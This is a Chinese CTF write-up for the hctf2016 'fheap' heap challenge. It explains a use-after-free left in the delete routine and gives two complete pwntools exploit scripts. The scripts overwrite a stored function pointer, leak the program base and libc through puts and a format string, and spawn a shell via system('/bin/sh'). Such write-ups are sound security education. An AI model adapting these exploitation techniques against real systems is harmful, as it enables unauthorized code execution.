hctf2016-fheap

钞sir

题目地址：https://github.com/zh-explorer/hctf2016-fheap
# 程序简介
程序中只有3个功能，一个create，一个delete然后一个quit：

+++++++++++++++++++++++++++
So, let's crash the world
+++++++++++++++++++++++++++
1.create string
2.delete string
3.quit
create 
Pls give string size:20
str:aaaaa
The string id is 0
1.create string
2.delete string
3.quit
delete 
Pls give me the string id you want to delete
id:0
Are you sure?:yes
1.create string
2.delete string
3.quit
quit 
Bye~

在create的时候，程序设置了全局指针，指向我们申请的heap：

for ( i = 0; i <= 15; ++i )
{
  if ( !*((_DWORD *)&unk_2020C0 + 4 * i) )
  {
    *((_DWORD *)&unk_2020C0 + 4 * i) = 1;
    *((_QWORD *)&unk_2020C0 + 2 * i + 1) = ptr;
    printf("The string id is %d\n", (unsigned int)i);
    break;
  }
}

并且create功能会先申请0x20字节的堆块存储结构，如果输入的字符串长度大于0xf，则另外申请对应长度的空间存储字符串，否则直接存储在之前申请的0x20字节的前16字节处，在最后，会将相关free函数的地址存储在堆存储结构的后八字节处；

nbytesa = strlen(&buf);
if ( nbytesa > 0xF )
{
  dest = (char *)malloc(nbytesa);
  if ( !dest )
  {
    puts("malloc faild!");
    exit(1);
  }
  strncpy(dest, &buf, nbytesa);
  *(_QWORD *)ptr = dest;
  *((_QWORD *)ptr + 3) = sub_D6C;
}
else
{
  strncpy(ptr, &buf, nbytesa);
  *((_QWORD *)ptr + 3) = sub_D52;
}

程序在delete的时候没有将全局指针清空：

printf("Pls give me the string id you want to delete\nid:");
  v1 = sub_B65();
  if ( v1 < 0 || v1 > 16 )
    puts("Invalid id");
  if ( *((_QWORD *)&unk_2020C0 + 2 * v1 + 1) )
  {
    printf("Are you sure?:");
    read(0, &buf, 0x100uLL);
    if ( !strncmp(&buf, "yes", 3uLL) )
    {
      (*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&unk_2020C0 + 2 * v1 + 1) + 24LL))(
        *((_QWORD *)&unk_2020C0 + 2 * v1 + 1),
        "yes");
      *((_DWORD *)&unk_2020C0 + 4 * v1) = 0;
    }
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

checksec:

 '/home/sir/desktop/pwnf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled[/mw_shl_code]
# 思路
我们可以利用use\_after\_free的方法，先申请2个小于16的heap，然后delete掉，然后再申请一个大小为32的heap，这样我们就可以拿到原来heap1 的位置，然后可以覆盖free函数的指针，改为我们需要的函数,然后就可以use\_after\_free了；
因为程序开启了PIE，所以我们需要先泄露出程序基地址，然后泄露出libc;
主要先用puts函数泄露出程序基地址，然后在用printf函数的格式化字符串方式泄露出libc；
# EXP
[mw_shl_code=python,true]from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './pwnf'
p = process(name)
elf= ELF(name)
if args.G:
    gdb.attach(p)
# puts_offset = 0xd1a 
# printf_pffset = 0xdbb
def create(num,data):
    p.recvuntil('3.quit\n')
    p.sendline('create ')
    p.recvuntil('Pls give string size:')
    p.sendline(str(num))
    p.recvuntil('str:')
    p.send(data)
def delete(num):
    p.recvuntil('3.quit\n')
    p.sendline('delete ')
    p.recvuntil('id:')
    p.sendline(str(num))
    p.recvuntil('Are you sure?:')
    p.send("yes")

create(5,'a'*5)     #0
create(5,'b'*5)     #1
delete(1)
delete(0)
#leak
pay1 = 'q'*20 + 's'*4 + '\x1a'  #因为函数后1.5字节的内容不变，先将free函数的地址覆盖为puts函数；
create(32,pay1)
delete(1)
p.recvuntil('s'*4)
puts_addr = u64(p.recv(6) + '\x00\x00')
proc_base = puts_addr - 0xd1a 
printf_addr = proc_base + 0x9d0
delete(0)
pay2 = 'a'*8 + '%30$p' + 's'*11 + p64(printf_addr) 
create(32,pay2)
delete(1)
x = p.recv()
libc_addr = int(x[8:22],16) - 0x3b5760
system_addr = libc_addr + 0x42510
#getshell
p.sendline('')
delete(0)
pay3 = '/bin/sh;' + 's'*16 + p64(system_addr) 
create(32,pay3)
delete(1)
success("proc_base: " + hex(proc_base))
success("puts_addr: " + hex(puts_addr))
success("printf_addr: " + hex(printf_addr))
success("system_addr: " + hex(system_addr))
p.interactive()

# 总结
对于堆方面的题目，主要全局指针和程序中的delete操作；
这道题理论上将应该可以用DynELF的方法找system_adrr的，但是我跑exp一个多小时都没有leak出来.....
这里贴DynELF方法的exp：

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './pwnf'
p = process(name)
elf= ELF(name)

if args.G:
    gdb.attach(p)



# puts_offset = 0xd1a 
# printf_pffset = 0xdbb
def create(num,data):
    p.recvuntil('3.quit\n')
    p.sendline('create ')
    p.recvuntil('Pls give string size:')
    p.sendline(str(num))
    p.recvuntil('str:')
    p.send(data)

def delete(num):
    p.recvuntil('3.quit\n')
    p.sendline('delete ')
    p.recvuntil('id:')
    p.sendline(str(num))
    p.recvuntil('Are you sure?:')
    p.send("yes")

def leak(addr):
    delete(0)
    pay1 = 'aaaaaaaa' + '%9$x' + 'q'*12 + p64(printf_addr) 
    create(32,pay1)
    pay =  'yes11111' + p64(addr)
    p.recvuntil('3.quit\n')
    p.sendline('delete ')
    p.recvuntil('id:')
    p.sendline('1')
    p.recvuntil('Are you sure?:')
    p.sendline(pay)
    p.recvuntil('aaaaaaaa')
    context = p.recv(8)
    print("%#x -> %s" %(addr, (context or '').encode('hex')))
    return context

create(5,'a'*5)
create(5,'b'*5)
delete(1)
delete(0)

pay1 = 'q'*20 + 's'*4 + '\x1a'
create(32,pay1)
delete(1)
#find proc_base printf_addr
p.recvuntil('s'*4)
puts_addr = u64(p.recv(6) + '\x00\x00')
proc_base = puts_addr - 0xd1a 
printf_addr = proc_base + 0x9d0
#leak
d = DynELF(leak,proc_base,elf = elf)
system_addr = d.lookup('system','libc')
p.sendline('')
delete(0)
pay3 = '/bin/sh;' + 's'*0x10 + p64(system_addr) 
create(32,pay3)
delete(1)
success("proc_base: " + hex(proc_base))
success("puts_addr: " + hex(puts_addr))
success("printf_addr: " + hex(printf_addr))
success("system_addr: " + hex(system_addr))
p.interactive()